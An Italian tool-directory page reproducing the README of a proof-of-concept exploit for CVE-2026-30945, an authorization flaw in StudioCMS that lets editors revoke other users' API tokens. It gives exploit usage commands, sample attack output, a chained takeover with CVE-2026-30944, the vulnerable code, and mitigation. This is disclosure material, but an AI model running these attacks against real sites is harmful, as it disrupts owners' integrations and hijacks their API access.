Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-30945-PoC — Proof-of-concept exploit per CVE-2026-30945, un IDOR in StudioCMS che consente la revoca arbitraria dei token API e il denial of service. Include modalità di test manuale e automatizzata. | Kitploit
Strumenti/GitHubGitHub/filipegaudard/cve-2026-30945-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza delle API
GitHubfilipegaudard/cve-2026-30945-poc

CVE-2026-30945-PoC

Proof-of-concept exploit per CVE-2026-30945, un IDOR in StudioCMS che consente la revoca arbitraria dei token API e il denial of service. Include modalità di test manuale e automatizzata.

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🗑️ CVE-2026-30945

StudioCMS IDOR — Revoca Arbitraria di Token API che Porta a Denial of Service

CVE CVSS CWE Type

NVD • Advisory • CWE-639


Panoramica

L'endpoint DELETE /studiocms_api/dashboard/api-tokens in StudioCMS ≤ 0.3.0 consente a qualsiasi utente autenticato con privilegi di editor o superiori di revocare token API appartenenti a qualsiasi altro utente, inclusi account admin e .

owner

L'handler accetta tokenID e userID direttamente dal payload della richiesta senza verificare la proprietà del token, l'identità del chiamante o la gerarchia dei ruoli. Ciò consente un denial of service mirato contro integrazioni e automazioni critiche.

Correlato: Questa vulnerabilità condivide la stessa causa principale di CVE-2026-30944 (IDOR nella generazione dei token). Se combinate, un attaccante può revocare token legittimi e generarne di nuovi, ottenendo il completo controllo delle credenziali API.

Flusso dell'Attacco

root@kitploit:~
┌──────────────┐   DELETE /api-tokens        ┌──────────────┐
│              │  {"tokenID":"<id>",          │              │
│   Attaccante │   "userID":"<owner-id>"}     │  StudioCMS   │
│   (Editor)   │ ──────────────────────────► │   Server     │
│              │                              │              │
│              │ ◄────────────────────────── │              │
└──────────────┘  {"message":"Token deleted"} └──────────────┘
                                                     │
                                                     ▼
                                              ┌──────────────┐
                                              │  Pipeline    │
                                              │  CI/CD del   │
                                              │  Owner       │──► ❌ 401 Unauthorized
                                              │  Integrazione│──► ❌ Accesso API Perso
                                              │  Monitoraggio│──► ❌ Fallimento Silenzioso
                                              └──────────────┘

Dettagli della Vulnerabilità

CampoValore
CVECVE-2026-30945
GHSAGHSA-8rgj-vrfr-6hqr
CVSS v3.17.1 (Alta) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
CWECWE-639: Bypass dell'Autorizzazione tramite Chiave Controllata dall'Utente
CWE (secondaria)CWE-863: Autorizzazione Errata
MITRE ATT&CKT1531 — Rimozione dell'Accesso all'Account
OWASP APIAPI1:2023 — Broken Object Level Authorization
Affettestudiocms ≤ 0.3.0
Corretta instudiocms 0.4.0

Contenuti

FileDescrizione
cve_2026_30945_poc.pyScript di sfruttamento Python con modalità manuale e automatizzata
README.mdQuesto file
LICENSELicenza MIT

Prerequisiti

  • StudioCMS ≤ 0.3.0 (versione vulnerabile)
  • Python 3.8+
  • Credenziali valide per almeno un account Editor
  • Un UUID noto del record del token (ID interno, non il JWT)
root@kitploit:~
pip install requests colorama

Avvio Rapido

Sfruttamento Manuale

root@kitploit:~
# Revoca un token specifico appartenente all'owner
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# Combina con CVE-2026-30944: crea prima un token per il target
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Salva i risultati in JSON
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

Test Automatizzato

root@kitploit:~
# Test con più ruoli
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

Argomenti

Obbligatori

ArgomentoDescrizione
-u, --urlURL base di StudioCMS di destinazione
--target-uuidUUID dell'utente target di cui verrà revocato il token

Opzionali

ArgomentoDescrizione
--token-idUUID interno del record del token da revocare (non il JWT). Se omesso, lo script tenterà di creare prima un token tramite CVE-2026-30944

Modalità Manuale

ArgomentoDescrizione
--usernameNome utente per l'autenticazione
--passwordPassword per l'autenticazione

Modalità Test Automatizzato

ArgomentoDescrizione
--auto-testAbilita il test automatizzato multi-ruolo
--editor-userNome utente dell'account Editor
--editor-passPassword dell'account Editor
--visitor-userNome utente dell'account Visitor
--visitor-passPassword dell'account Visitor

Flag

ArgomentoDescrizione
--saveSalva i risultati in un file JSON
--no-ssl-verifyDisabilita la verifica del certificato SSL

Esempio di Output

Sistema Vulnerabile

root@kitploit:~
  ──────────────────────────────────────────────────────────
  FASE 1: Autenticazione
  ──────────────────────────────────────────────────────────
  [+] Autenticato come 'editor01'
  [*] Utente sessione: editor01 (editor)
  [*] UUID sessione: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  FASE 3: Revoca Token (IDOR)
  ──────────────────────────────────────────────────────────
  [*] UUID target: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] ID token:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revoca del token API del target...
  [+] Token revocato! Risposta del server: Token deleted
  [!] VULNERABILITÀ CONFERMATA — Token revocato con successo!
  [!] Le integrazioni API dell'utente target sono ora interrotte (DoS)

Sistema Corretto

root@kitploit:~
  ──────────────────────────────────────────────────────────
  FASE 3: Revoca Token (IDOR)
  ──────────────────────────────────────────────────────────
  [*] UUID target: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] ID token:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revoca del token API del target...
  [*] Accesso negato (403 Forbidden) — l'endpoint potrebbe essere corretto
  [-] Revoca fallita: Accesso negato (403 Forbidden)

Catena di Attacco (CVE-2026-30944 + CVE-2026-30945)

Se combinata con l'IDOR nella generazione dei token (CVE-2026-30944), un attaccante può eseguire un completo takeover delle credenziali API:

root@kitploit:~
Passo 1: Revoca del token legittimo dell'owner    (CVE-2026-30945)
   └──► I pipeline CI/CD dell'owner si interrompono silenziosamente

Passo 2: Generazione di un nuovo token per l'owner       (CVE-2026-30944)
   └──► L'attaccante ora ha accesso API a livello owner

Passo 3: L'owner crea un nuovo token per risolvere
   └──► L'attaccante lo revoca di nuovo (DoS persistente)

Questo crea uno scenario in cui l'attaccante mantiene un controllo persistente sull'accesso API dell'owner, revocando ripetutamente qualsiasi nuovo token che l'owner crea mentre mantiene il proprio accesso illegittimo.


Causa Principale

L'handler vulnerabile in packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (righe 58–99) accetta tokenID e userID dal corpo della richiesta e li passa direttamente alla funzione di eliminazione senza alcun controllo di autorizzazione:

root@kitploit:~
// [1] Controlla solo se il chiamante è editor — non PER CHI sta revocando i token
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] Entrambi i valori dal corpo della richiesta — nessuna validazione rispetto alla sessione
const jsonData = yield* readAPIContextJson<{
    tokenID: string;    // Nessun controllo di proprietà
    userID: string;     // Nessun controllo di identità
}>(ctx);

// [3] Passati direttamente a un'operazione distruttiva — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });

L'handler presenta cinque difetti distinti: gate di permessi insufficiente, nessuna validazione della proprietà del token, controllo dell'identità del chiamante mancante, nessuna applicazione della gerarchia dei ruoli e passaggio diretto di valori controllati dall'utente a un'operazione distruttiva.


Impatto

  • Denial of Service — I token API utilizzati in pipeline CI/CD, integrazioni di terze parti o sistemi di monitoraggio possono essere revocati silenziosamente
  • Sabotaggio selettivo — Un editor può revocare chirurgicamente i token di specifici admin o owner
  • Nessuna traccia di audit — La revoca viene elaborata come un'operazione legittima, rendendo difficile l'attribuzione
  • DoS persistente se combinato — In combinazione con CVE-2026-30944, l'attaccante può revocare ripetutamente qualsiasi nuovo token creato dalla vittima

Mitigazione

Aggiorna StudioCMS alla versione 0.4.0 o successiva:

root@kitploit:~
npm install studiocms@latest

Disclaimer Legale

Questo strumento è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati.

  • Utilizzalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta
  • L'accesso non autorizzato a sistemi informatici è illegale nella maggior parte delle giurisdizioni
  • L'autore non si assume alcuna responsabilità per l'uso improprio di questo strumento
  • Segui sempre le pratiche di divulgazione responsabile

Riferimenti

  • CVE: CVE-2026-30945
  • Advisory: GHSA-8rgj-vrfr-6hqr
  • CVE correlato: CVE-2026-30944 (IDOR nella generazione dei token)
  • CWE: CWE-639 — Bypass dell'Autorizzazione tramite Chiave Controllata dall'Utente
  • OWASP: API1:2023 — Broken Object Level Authorization
  • MITRE ATT&CK: T1531 — Rimozione dell'Accesso all'Account

Autore

Filipe Gaudard


Licenza

Questo PoC è rilasciato sotto la Licenza MIT per scopi educativi. Usalo in modo responsabile ed etico.

Scarica lo strumento